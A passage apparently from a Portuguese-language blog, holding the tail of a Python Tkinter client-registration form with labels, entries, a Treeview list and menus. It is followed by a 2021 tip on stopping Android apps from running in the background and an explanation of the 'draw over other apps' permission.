self.lb_nome.place(relx= 0.05, rely= 0.35)
self.nome_entry = Entry(self.frame_1, fg= '#024c2c')
self.nome_entry.place(relx= 0.05, rely= 0.45, relwidth= 0.8)
self.lb_fone = Label(self.frame_1, text= 'Telefone', bg= '#dfe3ee', fg= '#024c2c')
self.lb_fone.place(relx= 0.05, rely= 0.6)
self.fone_entry = Entry(self.frame_1, fg= '#024c2c')
self.fone_entry.place(relx= 0.05, rely= 0.7, relwidth= 0.3)
self.lb_cidade = Label(self.frame_1, text= 'Cidade', bg= '#dfe3ee', fg= '#024c2c')
self.lb_cidade.place(relx= 0.4, rely= 0.6)
self.cidade_entry = Entry(self.frame_1, fg= '#024c2c')
self.cidade_entry.place(relx= 0.4, rely= 0.7, relwidth= 0.5)
def lista_frame2(self):
self.listaCli = ttk.Treeview(self.frame_2, height= 3, column=('col1, col2, col3, col4'))
self.listaCli.heading('#0', text= '')
self.listaCli.heading('#1', text= 'Codigo')
self.listaCli.heading('#2', text= 'Nome')
self.listaCli.heading('#3', text= 'Telefone')
self.listaCli.heading('#4', text= 'Cidade')
self.listaCli.column('#0', width=1)
self.listaCli.column('#1', width=50)
self.listaCli.column('#2', width=200)
self.listaCli.column('#3', width=125)
self.listaCli.column('#4', width=125)
self.listaCli.place(relx=0.01, rely=0.1, relwidth=0.95, relheight=0.85)
self.scroolLista = Scrollbar(self.frame_2, orient='vertical')
self.listaCli.configure(yscroll=self.scroolLista.set)
self.scroolLista.place(relx=0.96, rely=0.1, relwidth=0.04, relheight=0.85)
self.listaCli.bind("<Double-1>", self.OnDoubleClick)
def Menus(self):
menubar = Menu(self.root)
self.root.config(menu=menubar)
filemenu = Menu(menubar)
filemenu2 = Menu(menubar)
def Quit(): self.root.destroy()
menubar.add_cascade(label="Opções", menu= filemenu)
menubar.add_cascade(label="Sobre", menu= filemenu2)
filemenu.add_command(label="Sair", command= Quit)
filemenu2.add_command(label="Limpa Cliente", command= self.limpa_cliente)
filemenu2.add_command(label="Ficha do Cliente", command= self.geraRelatCliente)
Application()
domingo, 28 de fevereiro de 2021
Dica: Limitar apps no Android para não deixar abertos em segundo plano , economizar bateria e internet ou nao acessar o app enquanto nao estiver aberto
Limitar apps no Android para não deixar abertos em segundo plano (abertos apenas quando abertos na tela), economizar bateria e internet ou para o app não acessar a internet enquanto não estiver aberto, eu busquei pela ultima opção porque o Facebook e Messenger ficavam online e os constantes sons de notificação estavam me atrapalhando em outras atividades, muito.
Entre nas configurações, depois aplicativos, selecione o app, desative "Permitir atividade em segundo plano", também desativei as notificações.
Meu aparelho esta em inglês:
Draw over others apps
This permission allows an app to display on top of other apps you’re using and may interfere with your use of the interface in other applications, or change what you think you are seeing in other applications.
Desenhar sobre outros aplicativos
Esta permissão permite que um aplicativo seja exibido em cima de outros aplicativos que você está usando e pode interferir no uso da interface em outros aplicativos ou alterar o que você acha que está vendo em outros aplicativos.
